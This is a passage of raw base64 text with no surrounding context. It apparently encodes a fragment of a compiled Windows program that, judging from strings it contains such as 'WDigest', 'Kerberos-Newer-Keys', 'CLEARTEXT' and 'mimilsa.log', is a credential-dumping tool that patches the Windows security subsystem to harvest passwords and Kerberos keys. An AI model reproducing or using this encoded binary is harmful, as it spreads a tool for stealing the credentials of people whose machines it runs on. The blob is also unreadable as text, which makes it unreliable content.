oIYsAAIPEDP919P8VEJIBEOsLaIgjAhDox3j//1lT/xUQkgEQXluLRfhfycNVi+yD7HRWZol9+GaJffqJXfyF/w+EnwAAAP91CGisrQEQ6JB4//9oNCQCEP91DP8VcJMBEIPEEIXAdUNoUCQCEOhxeP//WY1FkFDoVX4AAFdTjUWQUOg+fgAAjUWQUOg7fgAAjUXoUGoQM8BZ6EKZ///HBCRcJAIQ6Dl4//9Zgf///wAAdxuNdfjoeZf//4XAdA+LxlBoYCQCEOgXeP//6xVodCQCEOgLeP//M8BTQIvP6P2Y//9ZWV7Jw1WL7IPsPFNWi3UQV2oIM8Az21mNfdCITcTGRcUCZolFxsdFyBBmAADHRcwgAAAAiV3886s783RJM9KJXfg5XhgPhoMBAACNRBYci3UIagRZA/GL+DPb86d0Gv9F+ItAFIt1EI1UAhiLRfg7Rhhy1+lVAQAAjXAYi0AUiUUQM9vrEzldFA+EPwEAAIt1FMdFEBAAAAA78w+ELQEAAIE9uNwCELgLAAC4qNgBEHIFuBDYARBoAAAA8GoYUFONRfRQ/xVokAEQhcAPhPwAAACNRfhQU1NoDIAAAP919P8VwJABEIXAD4TWAAAAU/91EFb/dfiLNdCQARD/1ot9CIPHHMdF/OgDAABTaiBX/3X4/9b/Tfx18lONRcxQjUXQUGoC/3X4/xWokAEQiUX8O8MPhIMAAACLPfCRARAz9o1GPDtFDHNzjUXwUFNTaiyNRcRQ/3X0/xW4kAEQiUX8O8N0QI1FEFCLRQiNRAY8UFNTU/918MdFEBAAAAD/FcSQARCJRfw7w3UP/9dQaIgkAhDoaXb//1lZ/3Xw/xV8kAEQ6w//11BoACUCEOhPdv//WVmDxhA5Xfx1hf91+P8VyJABEFP/dfT/FXCQARCLRfxfXlvJw1WL7IHs/AAAAFZXM/ZqPIv4jYVI////VlCJtUT////oQogAAGo8jYUI////VlCJtQT////oLYgAAIPEGIP/QHYDakBfV/91CI2FRP///1DoGIgAAFf/dQiNhQT///9Q6AiIAACDxBgzwIG0BUT///82NjY2gbQFBP///1xcXFyDwASD+EBy4o1FhFDoBHsAAGpAjYVE////UI1FhFDo7HoAAGoQ/3UMjUWEUOjeegAAjUWEUOjPegAAjXXcjX3spaWljUWEUKXoyHoAAGpAjYUE////UI1FhFDosHoAAGoQjUXsUI1FhFDooXoAAI1FhFDoknoAAIt9EI113KWlpaVfXsnDVYvsgexsAQAAjUWsiUXAiUW4uBAMAhBTM9uJhUj///+JhVj///+44AsCEFa+KAwCEImFaP///4mFeP///42F2P7//1eJXdyJXaiJXeCJXeiJXdSJXdiJXeyJXfSJXayJXbCJXbyJXbSJXfiJtdj+///Hhdz+//94JQIQx4Xg/v//QUFBQYmd5P7//4m16P7//8eF7P7//4QlAhDHhfD+//9CQkJCiZ30/v//ibX4/v//x4X8/v//lCUCEMeFAP///0NDQ0OJnQT///+JtQj////HhQz///+0JQIQx4UQ////RERERImdFP///4m1GP///8eFHP///8QlAhDHhSD///9FRUVFiZ0k////ibUo////x4Us////1CUCEMeFMP///0ZGRkaJnTT///+JtTj////HhTz////wJQIQx4VA////R0dHR4mdRP///8eFTP///xAmAhDHhVD///9ISEhIiZ1U////x4Vc////NCYCEMeFYP///0lJSUmJnWT////HhWz///9YJgIQx4Vw////SkpKSomddP///8eFfP///2gmAhDHRYBLS0tLiV2Ex0WI/AsCEMdFjHQmAhDHRZBMTExMiV2Ux0WYDAAAAIlFnDkdhNsCEA+FeAEAAFNTaHwmAhD/dQz/dQjotZX//4PEFIXAD4TpAAAA/zW43AIQuRjSAhBqBOhudf//i/hZWTv7D4SuAwAAi0cIiUW8i0cQiUW0jUX0aDgEAABQ6JwDAABZWYXAD4RvAwAAVv919I2FrP7//+ire///WVmFwHR6/3UMi4Ws/v///3UIiYXI/v//i4Ww/v//iYXM/v//i4W0/v//iYXQ/v//aMStABD/dxSNRbT/dwzHBYTbAhABAAAAUP93BI1FvFCNhcj+///oinP//4PEIIXAdRP/FfCRARBQaIgmAhDoanL//1lZiR2E2wIQ6eACAAD/FfCRARBQaPAmAhDoTHL//1lZ6cgCAAA5HYTbAhB1alNTaKQnAhD/dQz/dQjop5T//4PEFIXAdFGNRfRoOgQAAFDovAIAAFlZhcB0PY1FmFC47rcAELmYvAAQK8hRUItF9I2NwP7//+h2jv//g8QMhcB0C42FwP7//4lF+OsLaLg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